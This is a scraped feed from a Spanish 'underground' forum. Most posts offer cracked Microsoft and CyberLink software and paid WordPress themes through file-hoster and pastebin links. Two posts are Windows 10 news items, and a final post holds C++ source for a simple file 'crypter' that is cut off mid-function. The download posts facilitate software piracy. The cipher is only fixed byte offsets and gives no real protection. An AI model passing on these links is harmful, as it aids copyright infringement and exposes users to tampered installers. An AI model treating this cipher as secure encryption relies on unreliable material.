Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live

Microsoft Office Visio Plus 2016 [Versión Final v16.0.4266.1003][x86x64 Bits][ISO][Es

$
0
0
Microsoft Office Visio Plus 2016



Microsoft Office Visio Plus 2016 [Versión Final v16.0.4266.1003] | ISO | 32 Bits - 64 Bits | Español | Medicina Incl. | Comprimido: Si | Rar (Con Registro de Reparación) | 2.32 GB

Diagrama fácilmente información compleja. Microsoft Visio Standard 2016 es una plataforma de diagramación poderosa que cuenta con sofisticadas galerías de símbolos integradas. Te ayuda a simplificar la información compleja por medio de diagramas sencillos y fáciles de comprender. Visio Standard incluye galerías de símbolos para diagramas empresariales, diagramas básicos de red, organigramas, diagramas de flujo básicos y diagramas generales de usos múltiples.







Descargar desde
UPLOADED - RAPIDGATOR - UPLOADABLE


Código:

https://pastebin.com/sp26zLXC
Para descomprimir el archivo debes usar el Winrar v5.xx

Código:

http://pastebin.com/BbMmNQNN
Si los enlaces están muertos solo avísame respondiendo en el tema y lo soluciono.

Siempre estoy suscrito a mis aportes.

Microsoft Office Project Plus 2016 [Versión Final v16.0.4266.1003][x86x64 Bits][ISO][

$
0
0
Microsoft Office Project Plus 2016



Microsoft Office Project Plus 2016 [Versión Final v16.0.4266.1003] | ISO | 32 Bits - 64 Bits | Español | Medicina Incl. | Comprimido: Si | Rar (Con Registro de Reparación) | 2.32 GB

Mantén tus proyectos organizados y bien encaminados con Project 2016. Aprovecha las flexibles características que te ayudan a poner en marcha el proyecto y ser más eficiente y productivo. Crea fácilmente informes modernos para medir el progreso y comunica eficazmente los detalles de los proyectos a tu equipo y personas interesadas.









Descargar desde
UPLOADED - RAPIDGATOR - UPLOADABLE


Código:

https://pastebin.com/Yh13UtLy
Para descomprimir el archivo debes usar el Winrar v5.xx

Código:

http://pastebin.com/BbMmNQNN
Si los enlaces están muertos solo avísame respondiendo en el tema y lo soluciono.

Siempre estoy suscrito a mis aportes.

CyberLink PowerDirector 13 Ultimate v13.0.2104.0 [Crear videos espectaculares][Españo

$
0
0
CyberLink PowerDirector 13 Ultimate v13.0.2104.0



CyberLink PowerDirector 13 Ultimate v13.0.2104.0 | Exe | Multilenguaje (Español) | Medicina Incl. | Extras: Si (PowerDirector13 ContentPack Essential - 2.91 GB / PowerDirector13 ContentPack Premium - 346.46 MB) | Comprimido: Si | Rar (Con Registro de Reparación) | 991.19 MB

CyberLink PowerDirector proporciona un aumento de cinco veces en el rendimiento para una variedad de objetivos mediante el uso eficaz de los recursos, la CPU y la GPU. El programa se ha ampliado la compatibilidad del procesador Intel Core i7, así como la moderna tecnología ATI Stream y NVIDIA CUDA. Los usuarios podrán publicar vídeos terminó con una página personal en Facebook o portales de vídeo de YouTube directamente desde la interfaz del producto. Los materiales también pueden ser procesados para su reproducción en dispositivos portátiles (como el iPhone y PSP), su almacenamiento en medios ópticos (Blu-ray, AVCHD y DVD).

Con este kit de herramientas propietarios de cámaras digitales serán capaces de transformar los materiales de aficionados en un video completo de calidad profesional. La nueva versión cuenta con soporte mejorado para formatos de alta definición, y le permite crear el vídeo, distribuido en discos Blu-ray Disc (BDAV formatos y BDMV). Advertencia a los usuarios solicitó el apoyo de las funciones PIP (imagen en imagen), una impresionante colección de efectos de transición, las herramientas para producir alta calidad "presentación" y la creación de menús interactivos y mucho más.

Características:
  • Producción de Vídeo a Gran Velocidad
  • Introducción del motor TrueVelocity en la era del vídeo en alta definición: acelera el tiempo de procesamiento de vídeo de todas las maneras posibles
  • Maximización de la memoria del sistema: TrueVelocity 64 aprovecha la compatibilidad de PowerDirector con un sistema operativo de 64 bits al utilizar toda la memoria del sistema para procesar eficazmente varios archivos de vídeo en alta definición.
  • Optimización del uso de la CPU: TrueVelocity Parallel facilita y acelera el procesamiento de vídeo dividiendo las tareas en segmentos más pequeños y procesándolas al mismo tiempo en todos los procesos disponibles de la CPU.
  • Aprovechamiento de la potencia de la CPU/GPU.
  • TrueVelocity Accelerator aprovecha toda la capacidad de la tecnología de procesamiento de vídeo de Intel, AMD y NVIDIA para la codificación y decodificación de vídeo mejorada por el hardware.
  • Interfaz de línea de tiempo: hasta 100 pistas de línea de tiempo de vídeo y audio que ofrecen un espacio de trabajo más flexible, una gestión de contenido más sencilla.
  • Herramientas de mejora de vídeo: la serie de tecnologías avanzadas TrueTheater de PowerDirector mejora la calidad de vídeo, ya que permite convertir los vídeos de definición estándar en alta definición, eliminar el ruido, ajustar la luz y el color, reproducir el vídeo a cámara lenta, y mucho más.
  • Edición de audio avanzada: el nuevo WaveEditor permite a los usuarios editar sus pistas de audio con efectos e incluye compatibilidad con el plugin VST.
  • Previsualizaciones completas en alta definición: Obtenga una vista previa de su vídeo en tiempo real con una calidad de alta definición como nunca antes.
  • Un espacio de trabajo más amplio y flexible, e incluso más efectos y plantillas para sus crecientes necesidades de edición de vídeo.
  • Asistente para películas MagicStyle: Seleccione las fotos y vídeos existentes, elija una plantilla en 3D y pistas de audio integradas, y MagicStyle lo juntará todo en una sorprendente película en 3D en cuestión de segundos.
  • Efectos de partículas personalizados: efectos de partículas únicos que se pueden personalizar para aportar ese toque especial a sus creaciones de vídeo.

Requisitos de Sistema:
  • Sistema Operativo
    • Microsoft Windows 10, 8/8.1, 7, Vista (SP2)
  • Resolución de Pantalla
    • 1024 x 768, 16-bit de color o superior
  • Procesador CPU
    • PowerDirector optimizado para CPUs con tecnología MMX/SSE/SSE2/3DNow!/3DNow! Extension/HyperThreading/ Intel AVX2.
    • Captura/Produce AVI: Perfiles: Pentium 4 3.0 Ghz o AMD Athlon 64 X2
    • Calidad DVD (MPEG-2) Perfiles: Pentium 4 3.0 Ghz o AMD Athlon 64 X2
    • Alta Calidad MPEG-4 y Transmisión WMV, QuickTime) Perfiles: Pentium 4 3.0 Ghz o AMD Athlon 64 X2.
    • Calidad Full-HD H.264 y MPEG2 Perfiles: Intel Corei5/7 o AMD Phenom II X4
    • Perfiles de grabación AVCHD y BD: Pentium Core 2 Duo E6400, o AMD Phenom II X4
    • Perfil de edición de video 2K/4K/3D: Intel Corei7 o AMD FX series con 64 bit OS 6 GB RAM
  • Memoria
    • 2GB requeridos
    • 3GB o superior recomendado para 32 bit OS
    • 6GB o superior recomendados para 64 bit OS & edición 3D
  • Espacio en Disco Duro
    • 9.5GB required minimum (note: 400 MB is for Magic Music Library)
    • 10 GB (20 GB recommended) for DVD production
    • 60 GB (100 GB recomendado) para producción de Disco Blu-ray/AVCHD
  • Unidad de Grabación
    • Un CD o Grabador de DVD (CD-R/RW, DVD+R/RW o DVD-R/RW) se requiere para grabar títulos VCD/DVD/SVCD/AVCHD
    • Un drive de grabación de disco Blu-ray es requerido para grabar Discos Blu-ray
  • Tarjeta de Gráficos
    • 128 MB VGA VRAMo superior (1 GB o superior VRAM y OpenCL competentes son recomendados)
    • NVIDIA:
      • GeForce 8500GT/9800GT y superiores
      • GeForce GT/GTS/GTX 200/400/500/600/700/800/900 Series

        NOTA: Para usuarios de tarjetas NVIDIA usando arquitectura pre-Kepler que hayan actualizado a unidad de gráficos 340.43 o más reciente, la función de hardware codificador de video CUDA de PowerDirector ya no está disponible. Para habilitar el hardware de aceleración, por favor descarga e instale un driver más actual.
    • AMD / ATI :
      • AMD APU Family con AMD Radeon HD Graphics: A-Series, E2-Series, C-Series, E-Series, G-Series
      • Gráficos AMD Radeon Graphics: Serie R9, Serie R7, Serie R5, HD 7000 Series, HD 6000 Series
      • Gráficos ATI Radeon HD: 5900 Series, 5800 Series, 5700 Series, 5600 Series, 5500 Series, 5400 Series
    • Gráficos ATI FirePro
      • ATI Mobility Radeon HD: 5800 Series, 5700 Series, 5600 Series, 5400 Series
      • ATI Mobility FirePro: M7820, M5800
    • Conexión de Internet
      • La conexión a Internet se requiere para activar algunos formatos de exportación/importación, incluyendo AVCHD, Blu-ray Disc, DVD, H.264, & MPEG-2.
  • Otros
    • Windows Media Player 9 o superior requerido











CyberLink PowerDirector 13 Ultimate v13.0.2104.0

Descargar desde
UPLOADED - RAPIDGATOR - UPLOADABLE


Código:

https://pastebin.com/f1Bb2ceB
Para descomprimir el archivo debes usar el Winrar v5.xx

Código:

http://pastebin.com/BbMmNQNN
Si los enlaces están muertos solo avísame respondiendo en el tema y lo soluciono.

Siempre estoy suscrito a mis aportes.

Microsoft Visual Studio Enterpise 2015 [Español]

$
0
0
Microsoft Visual Studio Enterpise 2015



Microsoft Visual Studio Enterpise 2015 | Exe | Español | Medicina Incl. | Comprimido: Si | Rar (Con Registro de Reparación) | 4 GB

Visual Studio 2015 es una solución integrada y completa para equipos de cualquier tamaño con necesidades de alta calidad y escalabilidad que requieren herramientas y servicios amplios para definir, compilar y administrar aplicaciones y soluciones empresariales destinadas a la plataforma Enterprise completa de Microsoft, así como tecnologías multiplataforma.

Características:
  • Obtenga rápidamente la información que necesita y en contexto: CodeLens proporciona una pantalla informativa en el editor de código donde puede obtener respuestas rápidas sobre el código en el que está trabajando. Con una mirada rápida, puede ver si el método que está modificando o investigando ha interrumpido alguna prueba unitaria. Puede conectarse con el autor de ese código, comprender visualmente las referencias y dependencias, y ver los errores asociados y los cambios recientes. Obtiene todas las respuestas en un único lugar, con solo un clic y sin cambiar de contexto.
  • Utilice IntelliTrace para la depuración histórica, incluso en la fase de producción: El depurador histórico de IntelliTrace elimina situaciones de errores "no reproducibles" porque registra el acceso a los archivos y al Registro, las excepciones, las llamadas a métodos y otra información de estado, de manera que puede retroceder en la ejecución del código y crear de nuevo la situación de error exacta, incluso después de haberse producido el error. Los recolectores de IntelliTrace se pueden implementar también en servidores de producción para diagnosticar con rapidez problemas de producción, y puede exportar los recolectores desde eventos de Microsoft System Center 2012 para crear elementos de trabajo completos y factibles que mejoren la comunicación entre el área de operaciones y el área de desarrollo.
  • Compruebe la escalabilidad y el rendimiento en la fase de producción: Herramientas para pruebas avanzadas permiten aplicar modelos de carga constante, por pasos o basada en objetivos para las pruebas de carga. Analice e interprete los resultados de las pruebas de varias formas que permitan la identificación rápida de tendencias y problemas. Un número ilimitado de nodos de prueba, incluidas aplicaciones web compatibles con un número ilimitado de exploradores virtuales, permite realizar pruebas a escala empresarial. Puede utilizar su infraestructura o conectarse a Visual Studio Online y pagar solo por los recursos que utilice.
  • Visualice la estructura de una aplicación con diagramas UML: Diagramas compatibles con UML 2.0 le permiten diseñar, comprender y comentar sus sistemas de software. Visual Studio Ultimate con MSDN permite crear diagramas de actividades, de casos de usuario, de secuencias, de clases y de componentes. También puede crear diagramas de capas que definan la estructura del sistema
  • Describa y aplique dependencias arquitectónicas: Herramientas avanzadas de modelado, detección y arquitectura permiten administrar la arquitectura empresarial y describir las dependencias intencionadas entre los componentes de una aplicación. Los diagramas de capas reflejan la visión arquitectónica, que puede imponer de forma activa usando validación de dependencias.
  • Use herramientas para entender las relaciones en el código existente: El Explorador de arquitectura permite examinar y buscar código en archivos de código fuente y código compilado, incluidos archivos de ensamblados, ejecutables y binarios. Además, puede generar gráficos de revelado progresivo y dependencia estándar para comprender la organización y la relación de la solución; o bien, utilice el mapa de código para analizar y visualizar el código directamente desde el editor de código.

Requisitos de Sistema:
  • Sistemas operativos compatibles
    • Windows 7 Service Pack 1
    • Windows 8.1
    • Windows 8
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
    • Windows 10
  • Requisitos de hardware
    • Procesador de 1,6 GHz o superior
    • 1 GB de RAM (1,5 GB si se ejecuta en una máquina virtual)
    • 10 GB de espacio disponible en disco duro
    • Disco duro de 5400 RPM
    • Tarjeta de vídeo compatible con DirectX 9 con resolución de pantalla de 1024 x 768 o más.
  • Requisitos adicionales
    • Para el desarrollo de aplicaciones de la Tienda Windows y universales de Windows
    • El desarrollo de Windows 8.1 y Windows Phone 8.1 requiere Windows 8.1 Update o posterior.
    • El desarrollo de Windows Phone 8.0 requiere Windows 8.1 Update (x64) o posterior.
    • Para los emuladores de Windows, Windows 8.1 (x64) Professional o superior, y un procesador que sea compatible con Client Hyper-V y con la traducción de direcciones de segundo nivel (SLAT)













Descargar desde
UPLOADED - RAPIDGATOR - UPLOADABLE


Código:

https://pastebin.com/qD4pN0P7
Para descomprimir el archivo debes usar el Winrar v5.xx

Código:

http://pastebin.com/BbMmNQNN
Si los enlaces están muertos solo avísame respondiendo en el tema y lo soluciono.

Siempre estoy suscrito a mis aportes.

Fortuna v1.11 - Responsive Multi-Purpose Wordpress Theme

$
0
0


Fortuna v1.11 - Responsive Multi-Purpose Wordpress Theme | 92.4 MB

Fortuna es un tema de WordPress limpio, moderno y sensible que permite la libertad ilimitada en el diseño y la personalización. El tema es extremadamente rico en características y potente, pero muy fácil de manejar, personalizar y crear contenido con. Utilizando el mejor constructor Página por ahí que puede conseguir su siguiente sitio web en funcionamiento en el no tiempo.

Código:

página del producto: http://themeforest.net/item/fortuna-responsive-multipurpose-wordpress-theme/12496833
Download Links:

Código:

http://ul.to/fltki9mn
Código:

http://www.filefactory.com/file/614juiiljn4x/Fortuna%20v1.11%20-%20Responsive%20Multi-Purpose%20Wordpress%20Theme.zip
Código:

http://turbobit.net/v36pmrc2kpo7.html

Foundry - Multipurpose, Multi-Concept WP Theme

$
0
0


Foundry - Multipurpose, Multi-Concept WP Theme | 2.80 MB

Foundry es un tema de WordPress plana y sensible, con un diseño limpio y profesional que ofrece la solución ideal para negocios, carteras, blogs y páginas de marketing. Foundry para WordPress viene con Visual Composer y un montón de elementos de la página constructor personalizados flexible.

Código:

página del producto: http://themeforest.net/item/foundry-multipurpose-multiconcept-wp-theme/12468676
Download Links:

Código:

http://ul.to/li0f3ho6
Código:

http://www.filefactory.com/file/2rsh8xbg19gx/Fortuna%20v1.11%20-%20Responsive%20Multi-Purpose%20Wordpress%20Theme.zip
Código:

http://turbobit.net/eeh0ct60opwr.html

907 v3.1.18 - Responsive WP One Page Parallax

$
0
0


907 v3.1.18 - Responsive WP One Page Parallax | 16.9 MB

907 es una sola o una página de WordPress tema Parallax escrito por webcreations907. El tema cuenta con hasta varias opciones para los diseños de cabecera tal opción de vídeo, una opción de control deslizante de la flexión, y que incluye dos controles deslizantes altamente populares premium ThemeForest; el control deslizante Revolución y la linda Deslizador 3D. El tema 907 también es compatible con un uso intensivo del plugin Parallax para muchos, si no todas las secciones y viene personalizable.

Código:

página del producto: http://themeforest.net/item/907-responsive-wp-one-page-parallax/4087140
Download Links:

Código:

http://ul.to/07rah5eh
Código:

http://www.filefactory.com/file/71171s41cptf/907%20v3.1.18%20-%20Responsive%20WP%20One%20Page%20Parallax.zip
Código:

http://turbobit.net/7esn4a84hd1a.html

LemonChili v1.12 - a Premium Restaurant WordPress Theme

$
0
0


LemonChili v1.12 - a Premium Restaurant WordPress Theme | 1.48 MB

LemonChili es una prima, tema de WordPress sensible, con características especiales para restaurantes, cafés, bares, discotecas, eventos, Con LemonChili puede crear menús de comida y bebidas ilimitadas, así como una página del evento, una página en equipo y una página de la galería.

Código:

página del producto: http://themeforest.net/item/lemonchili-a-premium-restaurant-wordpress-theme-/4565068
Download Links:

Código:

http://ul.to/4jkkvxzl
Código:

http://turbobit.net/u48lt8he53l2.html
Código:

http://www.filefactory.com/file/1jo5y8zwwkr9/LemonChili%20v1.12%20-%20a%20Premium%20Restaurant%20WordPress%20Theme.zip
Código:

http://depositfiles.com/files/h4uafkbrt

Microsoft Saca Windows 10 Vista previa actualización KB3105208 Debido a BSODs

$
0
0
Una de las actualizaciones que Microsoft enviada recientemente a equipos que ejecutan Windows 10 Insider Vista previa de construir 10,565 estaba causando BSODs todos de repente y, en algunos casos, hizo imposible para arrancar a los archivos de escritorio y acceso.
.
Nos informó por primera vez sobre este tema ayer por la mañana cuando los primeros informes sobre los problemas causados ​​por KB3105208 comenzaron llegar a la web, pero resulta que esto era en realidad un problema generalizado que finalmente fue reconocido por Microsoft también.
.
Gabriel Aul, jefe del programa de Windows Insider, confirmó la actualización fallida hace unas horas y también reveló que Microsoft ha decidido tirar KB3105208 completamente para evitar más PCs de conseguirlo.
.
Lo que es más, Aul confirmó que la solución que usted proporcionó ayer desactivar arranque seguro es la única solución para este problema en caso de que ya se ha recibido la actualización.
.
"Está afectando dispositivos de arranque seguro habilitados ejecutan la acumulación de vista previa. Así que los demás se verán afectados también, probablemente incluyendo libro, "Aul escribió, explicando que el problema puede ser encontrado básicamente en cualquier dispositivo donde Secure Boot es activar. "KB fue estrangulado a cero anoche (no automático) y ahora totalmente tirado", agregó aún más.
Utilice Restaurar sistema para recuperarse

Y, sin embargo, si ya ha recibido la actualización y la desactivación de arranque seguro no funciona para ayudar a volver a la mesa, utilizando un medio de recuperación para el acceso de restauración del sistema y volver a un estado anterior de su ordenador es otra posible solución.
.
Estamos escuchando a nuestros lectores que hacer esto es en realidad la mejor solución en este momento, sobre todo porque la actualización ya se ha retirado, por lo que si se restaura el equipo, no se ofrecerá el parche frustrado una vez más.
.
Obviamente, antes de culpar a Microsoft para liberar una actualización con errores, tenga en cuenta que esto sólo se ofrece a los equipos con Windows Ejecutivas, así que es una especie de espera encontrarse con problemas como que ya que el objetivo de todo el programa es poner a prueba el software pre-lanzamiento.
.
.
Fuente:
news.softpedia.com

Los cambios y novedades que llegarán a Windows 10 en noviembre

$
0
0
La semana que viene se cumplen tres meses del lanzamiento del nuevo sistema operativoWindows 10 y según la compañía ya son más de 110 millones de usuarios los que están usando la última versión del sistema operativo de Microsoft en sus ordenadores. Unos usuarios que esperan de este software se acerque más a un servicio por parte de la compañía que a un producto.
.
Al menos así es como se dio a entender desde Redmond cuando, incluso antes de su lanzamiento, aseguraron que iban a potenciar las actualizaciones y que los propios usuarios podrían ayudar a mejorar el sistema gracias al reporte de incidencias o posibles sugerencias.

En este sentido, acaba de darse a conocer que la esperada actualización Threshold 2 de Windows 10 llegará a todos los usuarios el próximo 2 de noviembre. Una actualización que llegará como cualquier otro paquete de Windows Update pero con el nombre “Windows 10 Noviembre 2015” y que por lo tanto se debería instalar de forma automática.
.
Aunque como en otras ocasiones, esta actualización traerá una serie de correcciones sobre problemas de rendimiento o parches de seguridad, sin embargo es la primera que incluye nuevas características. De esta forma, podremos ver que el menú inicio de Windows 10 mostrará una nueva columna en la barra de Live Tiles y por lo tanto los usuarios podrán decidir si mostrar sus tiles en tres o cuatro columnas. También hay cambios en la interfaz de usuario, como barras de titulo de colores en las aplicaciones de escritorio y menús contextuales mejorados.
.
Como se venía comentando, Microsoft nos traerá la última actualización de la aplicación Skype como aplicación nativa para el servicio de mensajería del propio sistema y de ahí que le haya podido otorgar nuevas funciones a su asistente Cortana como la de poder enviar o recibir mensajes de texto entre ordenadores o dispositivos móviles.
.
El navegador Edge también contará con posibilidad de ver la vista previa de la páginadesde la pestaña o nuevos ajustes del motor de búsqueda. Pero lo más esperado, que son las extensiones, aún no estarán disponibles y habrá que esperar hasta el próximo verano. Con la nueva actualización, desde Windows 10 también podremos localizar nuestro dispositivo móvil, se mejora la gestión de la memoria, podremos elegir la unidad en la que queremos instalar las aplicaciones desde la tienda y se incluye la posibilidad de queWindows 10 se pueda activar con una clave de Windows 7, 8 u 8.1 durante o después de la instalación

[C++] File Crypter 1.5

$
0
0
File Crypter 1.5
Encripta y Desencripta Archivos


File Crypter es un simple programa, que es capaz de cifrar sus archivos y descifrarlos. Una versión de File Crypter se incluye como un ejemplo en la libreria xCrypter y es llamada "ncrypter", que es la abreviatura de "new Crypter".

Codigo Fuente

file_crypter.cpp

Código:

/* file_crypter.cpp -- The implementation of the GUI and the 4 simple
 * algorithms
 *
 * The main dialog which gives access to all the 5 different encryption
 * algorithms. The 4 simple ones are implemented here, with the 5th
 * "xcrypter" algorithm being accessed as appropriate for that algorithm.
 *
 * Written by René Kjellerup <katana_steel@users.sourceforge.net>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include "file_crypter.h"
#include <QtGui>
#include <fstream>
#include <crypt.h>

FCMain::FCMain(QWidget *p)
    : QMainWindow(p)
{
    xcry = 0;
    setupUi(this);

    check_xcrypter(0);

    connect(actionAbout, SIGNAL(triggered()), this, SLOT(about()));
    connect(encBtn, SIGNAL(clicked()), this, SLOT(startEnc()));
    connect(decBtn, SIGNAL(clicked()), this, SLOT(startDec()));
    connect(inputFileBtn, SIGNAL(clicked()), this, SLOT(openInput()));
    connect(outputFileBtn, SIGNAL(clicked()), this, SLOT(setOutput()));
    connect(keyFileBtn, SIGNAL(clicked()), this, SLOT(openKey()));
    connect(setKeyFileBtn, SIGNAL(clicked()), this, SLOT(setKey()));
    connect(comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(check_xcrypter(int)));
}

void
FCMain::startEnc()
{
    bool ret;
    switch(comboBox->currentIndex())
    {
    case 0:
        ret = algo1e();
        break;
    case 1:
        ret = algo2e();
        break;
    case 2:
        ret = algo3e();
        break;
    case 3:
        ret = algo4e();
        break;
    case 4:
        if(xcry) {
            std::ifstream I(inputFile->text().toAscii().constData(),
                    std::ios_base::binary);
            std::ofstream O(outputFile->text().toAscii().constData(),
                    std::ios_base::binary);
            xcry->enc(I,O);
            I.close();
            O.close();
            ret = true;
        } else {
                ret = false;
        }
        break;
    default:
        ret = false;
    }
    if(!ret)
        QMessageBox::information(this,"File Crypter","Unable to process your request");
}

void
FCMain::startDec()
{
    bool ret;
    switch(comboBox->currentIndex())
    {
    case 0:
        ret = algo1d();
        break;
    case 1:
        ret = algo2d();
        break;
    case 2:
        ret = algo3d();
        break;
    case 3:
        ret = algo4d();
        break;
    case 4:
        if(xcry) {
            std::ifstream I(inputFile->text().toAscii().constData(),
                    std::ios_base::binary);
            std::ofstream O(outputFile->text().toAscii().constData(),
                    std::ios_base::binary);
            xcry->dec(I,O);
            I.close();
            O.close();
            ret = true;
        } else {
                ret = false;
        }
        break;
    default:
        ret = false;
    }
    if(!ret)
        QMessageBox::information(this,"File Crypter","Unable to process your request");
}

void
FCMain::about()
{
    QDialog *win = new QDialog;
    QVBoxLayout *vb = new QVBoxLayout(win);
    QLabel *lab = new QLabel("File Crypter");
    vb->addWidget(lab);
    lab = new QLabel(" ");
    vb->addWidget(lab);
    lab = new QLabel("version 1.5");
    vb->addWidget(lab);
    lab = new QLabel("by");
    vb->addWidget(lab);
    lab = new QLabel("René Kjellerup");
    vb->addWidget(lab);
    vb->addStretch();
    win->exec();
    delete win;
}

void
FCMain::show()
{
    QMainWindow::show();
    adjustUI();
}

void
FCMain::adjustUI()
{
    QRect rc;
    if(inputFileBtn->width() <= outputFileBtn->width())
        rc = outputFileBtn->rect();
    else
        rc = inputFileBtn->rect();

    setKeyFileBtn->setMinimumWidth(rc.width());
    inputFileBtn->setMinimumWidth(rc.width());
    outputFileBtn->setMinimumWidth(rc.width());
    this->setMinimumWidth(rc.width()*4);
}

void
FCMain::setKey()
{
    if(keyFile->text().isEmpty()) return;

    if(xcry) delete xcry;
    xcry = new xcrypter::crypt(keyFile->text().toAscii().constData());
}

void
FCMain::openKey()
{
    QString fname = QFileDialog::getOpenFileName(this, "Input File:");
    if(!fname.isNull())
        keyFile->setText(fname);

}

void
FCMain::check_xcrypter(int idx)
{
    bool vis = false;
    if(idx == 4) vis = true;

    keyFile->setVisible(vis);
    keyFileBtn->setVisible(vis);
    setKeyFileBtn->setVisible(vis);
}

void
FCMain::openInput()
{
    QString fname = QFileDialog::getOpenFileName(this, "Input File:");
    if(!fname.isNull())
        inputFile->setText(fname);
}

void
FCMain::setOutput()
{
    QString fname = QFileDialog::getSaveFileName(this, "Output File:");
    if(!fname.isNull())
        outputFile->setText(fname);
}

bool
FCMain::algo1e()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%5) {
        case 0:
          c += 0x12;
          O << c;
          break;
        case 1:
          c += 0x10;
          O << c;
          break;
        case 2:
          c += 0x14;
          O << c;
          break;
        case 3:
          c += 0x18;
          O << c;
          break;
        case 4:
          c += 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo1d()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%5) {
        case 0:
          c -= 0x12;
          O << c;
          break;
        case 1:
          c -= 0x10;
          O << c;
          break;
        case 2:
          c -= 0x14;
          O << c;
          break;
        case 3:
          c -= 0x18;
          O << c;
          break;
        case 4:
          c -= 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo2e()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%5) {
        case 0:
          c -= 0x12;
          O << c;
          break;
        case 1:
          c += 0x10;
          O << c;
          break;
        case 2:
          c -= 0x14;
          O << c;
          break;
        case 3:
          c += 0x18;
          O << c;
          break;
        case 4:
          c -= 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo2d()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%5) {
        case 0:
          c += 0x12;
          O << c;
          break;
        case 1:
          c -= 0x10;
          O << c;
          break;
        case 2:
          c += 0x14;
          O << c;
          break;
        case 3:
          c -= 0x18;
          O << c;
          break;
        case 4:
          c += 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo3e()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%5) {
        case 0:
          c += 0x12;
          O << c;
          break;
        case 1:
          c += 0x10;
          O << c;
          break;
        case 2:
          c -= 0x14;
          O << c;
          break;
        case 3:
          c -= 0x18;
          O << c;
          break;
        case 4:
          c -= 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo3d()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%5) {
        case 0:
          c -= 0x12;
          O << c;
          break;
        case 1:
          c -= 0x10;
          O << c;
          break;
        case 2:
          c += 0x14;
          O << c;
          break;
        case 3:
          c += 0x18;
          O << c;
          break;
        case 4:
          c += 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo4e()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%15) {
        case 0:
          c += 0x12;
          O << c;
          break;
        case 1:
          c += 0x10;
          O << c;
          break;
        case 2:
          c += 0x14;
          O << c;
          break;
        case 3:
          c += 0x18;
          O << c;
          break;
        case 4:
          c += 0x16;
          O << c;
          break;
        case 5:
          c += 0x12;
          O << c;
          break;
        case 6:
          c -= 0x10;
          O << c;
          break;
        case 7:
          c += 0x14;
          O << c;
          break;
        case 8:
          c -= 0x18;
          O << c;
          break;
        case 9:
          c += 0x16;
          O << c;
          break;
        case 10:
          c += 0x12;
          O << c;
          break;
        case 11:
          c += 0x10;
          O << c;
          break;
        case 12:
          c -= 0x14;
          O << c;
          break;
        case 13:
          c -= 0x18;
          O << c;
          break;
        case 14:
          c -= 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}
bool
FCMain::algo4d()
{
    unsigned long long count = 0;  // cryption counter
    unsigned char c; // tmp data
    int cc;
    std::ifstream I(inputFile->text().toAscii().constData(),
        std::ios_base::binary);
    std::ofstream O(outputFile->text().toAscii().constData(),
        std::ios_base::binary);
    while((cc = I.get()) >= 0) {
        c = (unsigned char)cc;
        switch(count%15) {
        case 0:
          c -= 0x12;
          O << c;
          break;
        case 1:
          c -= 0x10;
          O << c;
          break;
        case 2:
          c -= 0x14;
          O << c;
          break;
        case 3:
          c -= 0x18;
          O << c;
          break;
        case 4:
          c -= 0x16;
          O << c;
          break;
        case 5:
          c -= 0x12;
          O << c;
          break;
        case 6:
